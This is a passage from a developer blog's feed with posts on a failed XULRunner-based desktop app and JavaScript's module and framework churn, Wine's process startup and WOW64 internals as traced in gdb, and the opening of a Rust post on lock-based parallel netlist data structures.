&lt;p&gt;Looking at the state of the ecosystem (and not yet feeling comfortable as an "active" participant in it), I concluded that it was too janky for my tastes. Instead, I dug around and came across a piece of technology which seemed like it should've solved all of the above problems: &lt;a href="https://en.wikipedia.org/wiki/XULRunner"&gt;XULRunner&lt;/a&gt;, the underlying engine which powers Firefox and Thunderbird. This seemed like the perfect choice — full access to Web technologies, capable of interacting with traditional &lt;a href="https://en.wikipedia.org/wiki/WIMP_(computing)"&gt;WIMP&lt;/a&gt; desktop ideas (i.e. legacy non-Web technologies), a documented &lt;a href="https://udn.realityripple.com/docs/Archive/Mozilla/XULRunner/Deploying_XULRunner"&gt;deployment procedure&lt;/a&gt;, and with &lt;a href="https://udn.realityripple.com/docs/Mozilla/js-ctypes"&gt;ctypes-style FFI&lt;/a&gt; built-in (at no point requiring a native compiler).&lt;/p&gt;
&lt;p&gt;It was obvious that the Mozilla-specific technologies (XUL and XBL) were dead-end, so the plan was always to use them as little as possible. For the project, we created a minimal XUL document which immediately loaded a HTML5 document. We would only use nonstandard technology for the ever-diminishing functionality which wasn't yet accessible to HTML.&lt;/p&gt;
&lt;h1&gt;The myriads of incompatible module systems&lt;/h1&gt;
&lt;p&gt;Unfortunately, we quickly ran into something which wasn't yet usable — modules!&lt;/p&gt;
&lt;p&gt;In order to develop code with meaningful abstraction boundaries, many programming languages have tools for dividing code into modules. Unfortunately, at the time, JavaScript didn't have one. Or at least, it didn't have &lt;em&gt;one&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The modern consensus for modules seems to be to use &lt;a href="https://gist.github.com/jkrems/769a8cd8806f7f57903b641c74b5f08a"&gt;ES6 modules&lt;/a&gt;, or ESM. ES6, the 6th edition of the ECMAScript standard (a formal document describing how the programming language should work), was being actively developed, and browsers were slowly rolling out individual experimental features one-by-one. Unfortunately, ESM was not one of them.&lt;/p&gt;
&lt;p&gt;I clearly understood the need for a module system from the very beginning, and the first choice I reached for was &lt;a href="https://udn.realityripple.com/docs/Mozilla/JavaScript_code_modules/Using"&gt;Mozilla's proprietary implementation&lt;/a&gt;. Although it was nonstandard and had unusual semantics, it existed and worked and was being used extensively throughout the Mozilla codebase. Because npm was not yet the consensus JavaScript package manager, I didn't see a good reason to take a dependency on it nor on Node.js (after all, we already &lt;em&gt;have&lt;/em&gt; a JS engine inside XULRunner!). The project already had a preexisting build system duct-taped together out of Python and shell scripts, further amplifying my "why do we need &lt;em&gt;another&lt;/em&gt; language?" hesitation.&lt;/p&gt;
&lt;p&gt;As the JS ecosystem continued to grow at an accelerating pace, npm started gradually winning the package ecosystem war. At the time, I was not familiar enough with social dynamics to see this, but I did see the consequence wherein its module format, &lt;a href="https://en.wikipedia.org/wiki/CommonJS"&gt;CommonJS&lt;/a&gt;, increasingly took hold.&lt;/p&gt;
&lt;p&gt;Another module system which existed at the time was AMD, or Asynchronous Module Definition, and attempts were also made to unify the formats into UMD, or Universal Module Definition. &lt;a href="https://dev.to/iggredible/what-the-heck-are-cjs-amd-umd-and-esm-ikm"&gt;This post&lt;/a&gt; gives examples of each of these formats. In short, the ecosystem looked like this:&lt;/p&gt;
&lt;p&gt;&lt;img alt="XKCD #927 &amp;quot;Standards&amp;quot;" src="https://imgs.xkcd.com/comics/standards_2x.png"&gt;&lt;/p&gt;
&lt;p&gt;As CommonJS gained ground, the project migrated all of its own modules to the format. However, as bundlers were not yet a universal part of the workflow, I once again ended up going against the grain by choosing to use Mozilla's &lt;a href="https://en.wikipedia.org/wiki/Jetpack_(Firefox_project)"&gt;Jetpack SDK&lt;/a&gt; (which was already part of XULRunner and thus didn't require installing or deploying anything extra) as the CommonJS implementation.&lt;/p&gt;
&lt;h1&gt;The framework wars&lt;/h1&gt;
&lt;p&gt;As someone who grew up programming with "traditional" UI toolkits, I had no instinct to want a "framework" for building the application. I embraced utility libraries like &lt;a href="https://jquery.com/"&gt;jQuery&lt;/a&gt;, but I had to be actively &lt;em&gt;shown&lt;/em&gt; what was popular on "the Web."&lt;/p&gt;
&lt;p&gt;At this time, &lt;a href="https://en.wikipedia.org/wiki/AngularJS"&gt;AngularJS&lt;/a&gt; (Angular 1) was the popular "large" framework for helping to build "single-page applications." Its bidirectional data bindings promised to simplify a lot of manual work I was doing, and so I decided to go for it. The model for integrating AngularJS into the page was straightforward for someone familiar with the "old" way of doing things — you just had to load it in a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag. Everything else was "just JavaScript."&lt;/p&gt;
&lt;p&gt;However, as the project got further along, the AngularJS programming model was proving to be rather clunky. Along with having a lot of "magic" (i.e. hidden details and assumptions) in its implementation, it didn't seem to be saving us as much work as was promised. Someone on the team was itching to make a change, and the brand-new framework at the time was &lt;a href="https://react.dev/"&gt;React&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;At the time, the &lt;a href="https://web.archive.org/web/20140115135709/http://facebook.github.io/react/docs/why-react.html"&gt;React tutorial&lt;/a&gt; didn't feel particularly compelling, and JSX felt like an unnecessary step slowing down application launch. I certainly perceived it as quite possibly yet another fad.&lt;/p&gt;
&lt;h1&gt;Miscellaneous woes&lt;/h1&gt;
&lt;p&gt;In start contrast to all of the above-described ideas, one feature which I &lt;em&gt;eagerly&lt;/em&gt; adopted and which in many ways &lt;em&gt;drove&lt;/em&gt; design decisions was &lt;a href="https://en.wikipedia.org/wiki/Asm.js"&gt;asm.js&lt;/a&gt; (which was also new at the time).&lt;/p&gt;
&lt;p&gt;Because we were dealing with embedded systems, we had to deal with C code. C has a reputation for not being very beginner-friendly, so (after a &lt;em&gt;massive&lt;/em&gt; detour) we decided to use Lua for high-level logic and use C only for drivers and real-time control (&lt;a href="https://en.wikipedia.org/wiki/MicroPython"&gt;MicroPython&lt;/a&gt; once again didn't exist yet).&lt;/p&gt;
&lt;p&gt;One design requirement was that we wanted to be able to run this high-level code on a computer in simulation &lt;em&gt;in addition to&lt;/em&gt; on a physical system. This meant that we needed a way to run Lua inside our desktop application. To stay aggressively cross-platform, I chose to handle this by compiling the Lua interpreter to JavaScript (&lt;a href="https://en.wikipedia.org/wiki/WebAssembly"&gt;WebAssembly&lt;/a&gt; was years away from existing, and asm.js was the early attempt to show why it would be useful and wanted).&lt;/p&gt;
&lt;p&gt;Even though this was also experimental technology at the time, Mozilla had already shipped ahead-of-time-compilation optimizations for asm.js, and one of its main selling points was "it's just JavaScript." In theory, nothing special had to be done to make it work (on the "library consumer" end), and it'd fit right in, or so I thought. Oh how wrong I was!&lt;/p&gt;
&lt;p&gt;Even though asm.js "just produces JavaScript code," it doesn't &lt;em&gt;culturally&lt;/em&gt; fit the Web ecosystem. C code simply has vastly different assumed knowledge &lt;em&gt;in the developer&lt;/em&gt;. First of all, the toolchain for building asm.js, &lt;a href="https://emscripten.org/"&gt;Emscripten&lt;/a&gt;, &lt;a href="(https://web.archive.org/web/20140601171447/https://github.com/kripken/emscripten/wiki/Emscripten-SDK)"&gt;didn't have Linux binary releases yet&lt;/a&gt;. This didn't bother me, as I was familiar with having to painfully glue together &lt;code&gt;arm-none-eabi&lt;/code&gt; toolchains for the microcontroller, and so I just compiled a tarball that was shared between my development machines and my CI server. However, wrangling compilers wasn't a typical &lt;em&gt;Web&lt;/em&gt; developer activity.&lt;/p&gt;
&lt;p&gt;Even worse, &lt;em&gt;because&lt;/em&gt; I was using Linux as my primary development platform and as the CI platform, the entire rest of the (monolithic) build system was full of Linux-isms and could't run on any other platform. At the time, I didn't understand why this was a problem as the final build artifacts themselves were indeed truly cross-platform, but this &lt;em&gt;further&lt;/em&gt; alienated Web-focused developers.&lt;/p&gt;
&lt;p&gt;At some point, this issue became so heated that a co-conspirator hacked together a way to bypass the duct-taped-together build system (by relying on periodic snapshots of all the annoying-to-generate outputs). This hack included a script which launched the operating system's copy Firefox &lt;em&gt;as if it were XULRunner&lt;/em&gt;, loading our application in debug mode &lt;em&gt;instantly&lt;/em&gt; (because the application didn't use npm or a bundler workflow, this just worked).&lt;/p&gt;
&lt;p&gt;Unfortunately, this wasn't enough to resolve all of the culture clash. Even though we now had a Lua interpreter in JavaScript, the API surface was still a C interface. This meant that passing strings from JS to Lua involved understanding very un-JavaScript-like concepts of heap allocations, pointers, ABIs, asm.js's particular implementation of these, &lt;em&gt;and&lt;/em&gt; the Lua VM's virtual stack. Because both ends were dynamic languages, I naturally wanted to abstract this away, and I chose to do so by writing automagic thunk-generating functions between the languages. I then immediately suffered the consequence that nobody else was able to understand how this worked.&lt;/p&gt;
&lt;p&gt;By this point, the project had ballooned in scope and used Python, Lua, and JavaScript in different places. Much haphazard porting of libraries between the languages happened when we ran into unavailable functionality.&lt;/p&gt;
&lt;p&gt;I &lt;em&gt;should've&lt;/em&gt; learned many painful lessons about programming languages, what they assume about developers, and how they get used by humans in practice, but neurodivergence meant that this lesson would take the next decade to truly sink in.&lt;/p&gt;
&lt;h1&gt;The end, and the true rise of Web&lt;/h1&gt;
&lt;p&gt;At some point, I crashed and burned and the project failed.&lt;/p&gt;
&lt;p&gt;I didn't pay attention to many of the associated technologies for several years.&lt;/p&gt;
&lt;p&gt;The dust settled on the mess. Many problems were fixed. Some problems got worse.&lt;/p&gt;
&lt;p&gt;"Web" proceeded to eat the entire world. More and more applications are now developed using Electron. Mozilla managed to lose just about &lt;em&gt;every&lt;/em&gt; advantage that they already held.&lt;/p&gt;
&lt;p&gt;npm won out as the definitive package manager and package registry for JavaScript, despite some &lt;a href="https://en.wikipedia.org/wiki/Npm_left-pad_incident"&gt;spectacular flaws&lt;/a&gt;. More generally, &lt;em&gt;having&lt;/em&gt; a "definitive" package registry grew into an expectation for many programming languages:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Some languages already had one: Perl had &lt;a href="https://www.cpan.org/"&gt;CPAN&lt;/a&gt;, Python had &lt;a href="https://pypi.org/"&gt;PyPI&lt;/a&gt;, etc.&lt;/li&gt;
&lt;li&gt;Some languages' package registries grew massively, such as the JVM's &lt;a href="https://www.sonatype.com/blog/the-history-of-maven-central-and-sonatype-a-journey-from-past-to-present"&gt;Maven Central&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Some languages gained one, such as .NET's &lt;a href="https://www.nuget.org/"&gt;NuGet Gallery&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;New languages such as Rust released to stable with &lt;a href="https://crates.io/"&gt;crates.io&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Using a bundler became the expected workflow for frontend development. This made it much easier to integrate code together, and this extended to beyond just JavaScript (for example, bundlers like &lt;a href="https://webpack.js.org/"&gt;Webpack&lt;/a&gt; also handle images, CSS, and WebAssembly).&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Composability&lt;/em&gt; in Web frontend development became much more possible and much smoother now that these issues were settled.&lt;/p&gt;
&lt;p&gt;React ended up not being a fad, but other web frameworks continued to proliferate. Massive ecosystems grew up around them. This continually-shifting environment seems to have discouraged the creation of detailed, old-school tutorials such as books — they'd quickly fall out of date and become irrelevant. "Getting started" became increasingly dominated by and &lt;em&gt;dependent on&lt;/em&gt; quickstart tools and project templates.&lt;/p&gt;
&lt;p&gt;In contrast to the tooling of old, the new ways of working now seem to discourage users from knowing how the internals work. In the "prehistoric" era, users &lt;em&gt;needed&lt;/em&gt; to understand. Tools were simply not yet capable of hiding much of the complexity. Solving these issues made some types of programming ("I want to quickly launch a service which does X") more accessible at the risk of gradually &lt;em&gt;forgetting&lt;/em&gt; the fundamentals and the power of incremental discovery ("I was inspired after clicking 'view source' and built up from there").&lt;/p&gt;
&lt;p&gt;If we forget too much, we run the risk of getting stuck where we are, with no chance of further improvements.&lt;/p&gt;
&lt;p&gt;Let's not do that.&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>Notes on Wine architecture and process startup</title><link href="https://arcanenibble.com/notes-on-wine-architecture-and-process-startup.html" rel="alternate"></link><published>2025-02-23T00:00:00+00:00</published><updated>2025-02-23T00:00:00+00:00</updated><author><name>ArcaneNibble</name></author><id>tag:arcanenibble.com,2025-02-23:/notes-on-wine-architecture-and-process-startup.html</id><summary type="html">&lt;p&gt;A little braindump about Wine&lt;/p&gt;</summary><content type="html">&lt;p&gt;I've had a number of project ideas floating around for a long time which would all at some point involve emulating limited parts of Windows. I wanted to know how easy it would be to reuse only some of the &lt;a href="https://www.winehq.org/"&gt;Wine&lt;/a&gt; source code. None of the ideas involve just running a Windows program directly like a normal user (otherwise I'd just use Wine as is).&lt;/p&gt;
&lt;p&gt;In order to even be able to mentally scope out and estimate the complexity of some of these ideas, I wanted to know "various low-level details of how Wine works." The Wine &lt;a href="https://gitlab.winehq.org/wine/wine/-/wikis/Wine-Developer%27s-Guide/Architecture-Overview"&gt;Architecture Overview&lt;/a&gt; doesn't go into the level of detail I wanted to know, and this question is rather poorly-scoped and open-ended, so I finally decided to get my hands dirty and figure it out for myself. Since I had to do that, I figured I would share my thought process and what I have found.&lt;/p&gt;
&lt;p&gt;This is also an attempt to convince myself to do more technical writing that isn't a "fully complete" deep dive into something, and to hopefully convince and remind myself that not every piece of writing has to be absolutely perfect.&lt;/p&gt;
&lt;h1&gt;Wine process startup&lt;/h1&gt;
&lt;p&gt;One place to start investigating low-level details is to start from the very beginning. We start by installing Wine (both the &lt;code&gt;wine64&lt;/code&gt; and &lt;code&gt;wine32&lt;/code&gt; packages) and mingw-w64 on a Ubuntu 24.04 test virtual machine. We can compile a "hello world" program using mingw-w64 and run the result in Wine. Once that works, we can start digging.&lt;/p&gt;
&lt;h2&gt;Debian-related complexity&lt;/h2&gt;
&lt;p&gt;On Ubuntu, &lt;code&gt;/usr/bin/wine&lt;/code&gt; is a symlink to &lt;code&gt;/etc/alternatives/wine&lt;/code&gt; (the Debian "alternatives" system) which in turn points to &lt;code&gt;/usr/bin/wine-stable&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This in turn is a Debian-packaging-specific shell script which will suggest the necessary commands for installing the &lt;code&gt;wine32&lt;/code&gt; package if it cannot find it. This finally invokes &lt;code&gt;/usr/lib/wine/wine&lt;/code&gt; or &lt;code&gt;/usr/lib/wine/wine64&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;At this point, I download the Ubuntu package source (using &lt;code&gt;apt-get source&lt;/code&gt;) to reference alongside the (more-easily searched but a newer version) &lt;a href="https://github.com/wine-mirror/wine"&gt;mirror of Wine's code on GitHub&lt;/a&gt;. After changing into the resulting &lt;code&gt;wine-9.0~repack&lt;/code&gt; directory, running &lt;code&gt;gdb&lt;/code&gt; on Wine's binaries loads up the correct source code.&lt;/p&gt;
&lt;h2&gt;Initial loader&lt;/h2&gt;
&lt;p&gt;When poking around Wine's source code, the &lt;a href="https://github.com/wine-mirror/wine/tree/master/loader"&gt;&lt;code&gt;loader/&lt;/code&gt;&lt;/a&gt; directory immediately stands out. Inside &lt;code&gt;loader/main.c&lt;/code&gt;, there is eventually a call to &lt;code&gt;__wine_main&lt;/code&gt; inside ntdll. However, &lt;code&gt;tools/wine/wine.c&lt;/code&gt; &lt;em&gt;also&lt;/em&gt; calls this function, and the &lt;code&gt;loader/&lt;/code&gt; directory also contains a "preloader" which does even more complicated stuff. Which one of these is actually used?&lt;/p&gt;
&lt;p&gt;This is the point where using &lt;code&gt;gdb&lt;/code&gt; is helpful. Even though the code isn't a perfect match, we can set breakpoints on &lt;code&gt;_start&lt;/code&gt;, &lt;code&gt;main&lt;/code&gt;, and &lt;code&gt;wld_main&lt;/code&gt; (from the preloader). When we run the program, it ends up hitting the entry point of the normal glibc dynamic loader (&lt;code&gt;ld.so&lt;/code&gt;) followed by &lt;code&gt;main&lt;/code&gt; in &lt;code&gt;loader/main.c&lt;/code&gt;. This seems to indicate that the &lt;code&gt;/usr/lib/wine/wine&lt;/code&gt; and &lt;code&gt;/usr/lib/wine/wine64&lt;/code&gt; binaries are compiled from &lt;code&gt;loader/&lt;/code&gt;, the preloader is not used, and &lt;code&gt;tools/wine/wine.c&lt;/code&gt; does something else entirely.&lt;/p&gt;
&lt;p&gt;Because I also wanted to understand how Wine implemented WOW64 and why the Linux gaming/tech press (especially Phoronix) was so excited about the "PE conversion" project, I intentionally created a 32-bit test executable and loaded it with the &lt;code&gt;wine64&lt;/code&gt; binary.&lt;/p&gt;
&lt;p&gt;Other than mangling some path-related stuff, this loader quickly calls into &lt;code&gt;dlls/ntdll/unix/loader.c&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;ntdll, ELF version&lt;/h2&gt;
&lt;p&gt;The initial loader loads ntdll using the &lt;code&gt;dlopen&lt;/code&gt; function which can only open ELF libraries. This ends up loading &lt;code&gt;/usr/lib/x86_64-linux-gnu/wine/x86_64-unix/ntdll.so&lt;/code&gt;. At this point, the environment is still an entirely normal Linux user process.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;/usr/lib/x86_64-linux-gnu/wine/x86_64-unix/&lt;/code&gt; contains only very few ELF &lt;code&gt;.so&lt;/code&gt; files, and they all seem to relate to libraries where Wine needs to interact with the host system.&lt;/p&gt;
&lt;p&gt;One of the first things that &lt;code&gt;__wine_main&lt;/code&gt; does is to check for the &lt;code&gt;WINELOADERNOEXEC&lt;/code&gt; environment variable. If it is not set, some annoying stuff is done in order to do something which is somehow related to architecture switching and reinvoking the preloader. However, since the preloader isn't being used and the entire point was to investigate "low-level" details, I didn't care about this.&lt;/p&gt;
&lt;p&gt;In order to simplify tracing in gdb and not have to deal with following the process as it calls &lt;code&gt;exec&lt;/code&gt;, I set the &lt;code&gt;WINELOADERNOEXEC&lt;/code&gt; environment variable in the current shell. When the program is rerun, it goes through the "real" process startup.&lt;/p&gt;
&lt;p&gt;During the "real" startup, the calls to &lt;code&gt;virtual_init&lt;/code&gt; and &lt;code&gt;init_environment&lt;/code&gt; perform yet more setup which I was not very interested in. However, &lt;code&gt;init_environment&lt;/code&gt; did map locale-related data into memory (which can be seen in gdb using &lt;code&gt;info proc map&lt;/code&gt;). Code finally flows into the &lt;code&gt;start_main_thread&lt;/code&gt; function.&lt;/p&gt;
&lt;h2&gt;No WOW64 for you&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;start_main_thread&lt;/code&gt; function starts setting up data structures that would be found in a Windows process such as the Process Environment Block (PEB) and the Thread Environment Block (TEB). It also launches and connects to the &lt;code&gt;wineserver&lt;/code&gt; process.&lt;/p&gt;
&lt;p&gt;When tracing through line-by-line, &lt;code&gt;init_startup_info&lt;/code&gt; seems to perform a lot of work. At the end of it, we can see that &lt;code&gt;/usr/lib/x86_64-linux-gnu/wine/x86_64-windows/start.exe&lt;/code&gt; has been mapped into memory. Uh, what is &lt;code&gt;start.exe&lt;/code&gt;? It turns out that this is used to "start a program using ShellExecuteEx, optionally wait for it to finish."&lt;/p&gt;
&lt;p&gt;It turns out that this version of Wine which is part of Ubuntu doesn't seem to actually support the WOW64 mode I was thinking of and which was being hyped up (where a 32-bit Windows process can be run while only requiring 64-bit Linux libraries).&lt;/p&gt;
&lt;h2&gt;Entering the PE world.&lt;/h2&gt;
&lt;p&gt;After accepting defeat and switching to the 32-bit Wine loader, it is possible to trace through the same code paths again. This time, our test executable is actually mapped into memory. Other stuff is set up, and the &lt;em&gt;PE&lt;/em&gt; version of ntdll is mapped into memory. &lt;code&gt;server_init_process_done&lt;/code&gt; is called, even more stuff happens, and finally &lt;code&gt;signal_start_thread&lt;/code&gt; is called which performs the magic to switch into a "Windows-like" environment. In the 32-bit version, it calls &lt;code&gt;call_init_thunk&lt;/code&gt; which sets up a context in order to return to &lt;code&gt;LdrInitializeThunk&lt;/code&gt; inside the PE version of ntdll. At this point I no longer know how to set up gdb to load appropriate symbols to continue debugging.&lt;/p&gt;
&lt;p&gt;Code past this point seems to be written "mostly as if it were Windows."&lt;/p&gt;
&lt;h1&gt;How does Wine magic work?&lt;/h1&gt;
&lt;h2&gt;OpenMPT&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://openmpt.org"&gt;OpenMPT&lt;/a&gt; is a music tracker for Windows that officially supports running under Wine. As part of that, in order to get better audio performance (reduction of pops and glitches), it can bypass all of the emulation layers and call native Linux sound APIs such as PulseAudio directly. How does it do that?&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/OpenMPT/openmpt/blob/master/build/wine/wine_wrapper.mk"&gt;Poking around its source code&lt;/a&gt;, it uses &lt;code&gt;winegcc&lt;/code&gt; to build a &lt;code&gt;.dll.so&lt;/code&gt; file. Wine's PE loader (inside &lt;code&gt;dlls/ntdll/loader.c&lt;/code&gt;) will attempt to process files which don't start with a MZ header as possibly being a native library. This file contains a function &lt;code&gt;load_so_dll&lt;/code&gt; which calls back into the Linux environment and handles dealing with this. This is done by using the &lt;code&gt;WINE_UNIX_CALL&lt;/code&gt; macro which eventually (after much fiddling) makes a call through the &lt;code&gt;__wine_unixlib_handle&lt;/code&gt; variable in order to reach the &lt;code&gt;load_so_dll&lt;/code&gt; inside &lt;code&gt;dlls/ntdll/unix/loader.c&lt;/code&gt; (note the &lt;code&gt;unix&lt;/code&gt; directory). This eventually calls &lt;code&gt;dlopen&lt;/code&gt;, meaning that the &lt;code&gt;.dll.so&lt;/code&gt; can directly link native Linux libraries. The rest is tied together using "build system magic."&lt;/p&gt;
&lt;p&gt;I don't know if a &lt;code&gt;.dll.so&lt;/code&gt; can call Windows APIs in addition to Linux APIs. If it can, I also don't know how this gets implemented.&lt;/p&gt;
&lt;h2&gt;Wine built-in libraries&lt;/h2&gt;
&lt;p&gt;Libraries for functions handling e.g. GUIs also need to interact between the emulated Windows environment and the Linux environment. Many of these also go through the same &lt;code&gt;WINE_UNIX_CALL&lt;/code&gt; macro. However, the build system magic used for Wine's built-in libraries seems to be slightly different. I hate build systems, so I haven't poked how this works.&lt;/p&gt;
&lt;h2&gt;WOW64?&lt;/h2&gt;
&lt;p&gt;It is pretty clear that WOW64 (if it were to be enabled) works by having the libraries which need to deal with the Windows&amp;lt;-&amp;gt;Linux boundary contain two sets of functions. For example, many DLLs contain both a &lt;code&gt;__wine_unix_call_funcs&lt;/code&gt; array and also a &lt;code&gt;__wine_unix_call_wow64_funcs&lt;/code&gt; array. One set deals with same-bitness calls while the other does whatever is needed to handle 32-bit-to-64-bit calls.&lt;/p&gt;
&lt;p&gt;The actual steps involved in getting the CPU to run 32-bit code seem to be entirely as expected. Everything which is accessible to 32-bit code needs to be in the lower 4 GiB of the address space, and the CS segment register is changed to tell the CPU to perform the actual switch. This is the same architecture as WOW64 on Windows, and the infosec space had (very many years ago) given this the silly name "Heaven's Gate."&lt;/p&gt;
&lt;p&gt;It is not clear why there is a connection between "converting to PE" and implementing WOW64 in this way, unless this was merely an opportunity to refactor the code into its current form.&lt;/p&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;I figured out what I wanted to understand. That's... about it.&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>Parallel-capable netlist data structures, part 2</title><link href="https://arcanenibble.com/parallel-capable-netlist-data-structures-part-2.html" rel="alternate"></link><published>2024-01-28T00:00:00+00:00</published><updated>2024-01-28T00:00:00+00:00</updated><author><name>ArcaneNibble</name></author><id>tag:arcanenibble.com,2024-01-28:/parallel-capable-netlist-data-structures-part-2.html</id><summary type="html">&lt;p&gt;Sometimes reinventing the wheel pays off...&lt;/p&gt;</summary><content type="html">&lt;h1&gt;Issues with the current code&lt;/h1&gt;
&lt;p&gt;The throwaway code from last time has a few immediately-obvious issues:&lt;/p&gt;
&lt;h2&gt;The &lt;code&gt;connect_*&lt;/code&gt;/&lt;code&gt;disconnect_*&lt;/code&gt; abstractions aren't being used&lt;/h2&gt;
&lt;p&gt;These functions were pretty clearly suboptimal for the logic that was needed (disconnecting some existing connections and, at the same time, replacing them with connections to a newly-added cell).&lt;/p&gt;
&lt;p&gt;This is a "simple matter of API design" that can be improved with new functions (such as explicit "swap" operations). As such, this can be deferred until "later."&lt;/p&gt;
&lt;h2&gt;Manually acquiring read/write guards and retrying operations&lt;/h2&gt;
&lt;p&gt;There are currently no abstractions to help with making sure the correct locks are acquired, causing the following issues:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Every single &lt;code&gt;try_read()&lt;/code&gt; and &lt;code&gt;try_write()&lt;/code&gt; manually handles errors&lt;/p&gt;
&lt;p&gt;Every single lock operation has to be manually followed by a check for an error, potentially re-queuing the current cell and continuing, and an &lt;code&gt;unwrap()&lt;/code&gt;. Messing this up will cause a hard-to-debug logic error (which happened at least once while I was writing the code).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You need to commit to read vs. write ahead of time&lt;/p&gt;
&lt;p&gt;If a read lock has already been acquired, there isn't any way to "upgrade" it to a write lock. It is also not possible to subsequently acquire a separate write lock (even on the same thread) because there are already readers.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;There isn't any obvious way to extend this for algorithms that require ordering&lt;/p&gt;
&lt;p&gt;In order to support "ordered" algorithms, we need some way to perform speculative execution but buffer the actual write/modify operations until the operation commits. (In the worst case, this might result in unavoidable serialization.) There isn't an obvious way to implement this, as the only boundary identifying the "actual writes" is currently a &lt;code&gt;// actual updates&lt;/code&gt; line.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;Properly encapsulating graph operations&lt;/h1&gt;
&lt;p&gt;Through discussing this API surface with a friend, we have collectively come up with the following design:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Operations are split into an explicit "read-only" phase and a "read-write" phase.&lt;/p&gt;
&lt;p&gt;This commits us to the restriction of "all algorithms that the netlist API helps you with must be 'cautious' as defined in the Pingali et al. paper."&lt;/p&gt;
&lt;p&gt;Because many (and likely most of the ones we will need) operations on netlists can indeed be rewritten into this form, I will consider this a perfectly acceptable trade-off in exchange for being able to speculatively execute operations concurrently.&lt;/p&gt;
&lt;p&gt;With this split, it also becomes possible to defer the "read-write" phase to a later time when implementing an "ordered" algorithm. The following is one way to do that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The data passed from the RO phase to the RW phase is explicitly stored into a &lt;code&gt;struct&lt;/code&gt; which must be &lt;code&gt;Send&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When the RO phase finishes, the RW phase isn't (necessarily) run immediately. Instead, this resulting &lt;code&gt;struct&lt;/code&gt; is stored in some kind of commit pool.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When the write is finally ready to commit, the RW phase is finally called (which can be from a different thread).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If the write is instead aborted, the RW phase is never run.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If an operation is instead unordered, the RW phase can be run immediately after the RO phase on the same thread, as an optimization.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There is a potential concern with this split: if the graph manipulating operator is "expensive" in some way, how should this cost be split? Should most of the work be performed in the read-only phase or the read-write phase? How much does this matter in practice? For now, I have chosen to ignore this problem.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The read-only phase (somehow) tells the framework which nodes will be written in the read-write phase. All locks acquired in the read-only phase will have one of the following states in the read-write phase: still read-only, upgraded to read-write, or released.&lt;/p&gt;
&lt;p&gt;The framework will then automatically handle "upgrading" the required locks.&lt;/p&gt;
&lt;p&gt;For an "unordered" algorithm, failure to upgrade a lock results in the current operation being abandoned and retried later.&lt;/p&gt;
&lt;p&gt;For an "ordered" algorithm, something more complicated has to happen. The Kulkarni et al. paper explains one way to do this using &lt;em&gt;iteration locks&lt;/em&gt;. (Note that that paper describes the commit pool as containing an undo log, rather than our implementation of storing a write callback and simply not doing the work until commit time.) This seems to make sense but requires a bunch more engineering effort, so I will simply hope that everything will work out in the end 🙃.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Okay, let's build it!&lt;/h1&gt;
&lt;p&gt;If we are going to separate out read-only and read-write phases, it would probably involve separating the phases into separate functions. In order to hold on to locks across them, we need a &lt;code&gt;struct&lt;/code&gt; of some kind:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#[derive(Debug)]&lt;/span&gt;
&lt;span class="k"&gt;pub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;CellLockWip&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;: &lt;span class="kt"&gt;usize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;: &lt;span class="nb"&gt;Option&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;RwLockReadGuard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NetlistCell&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
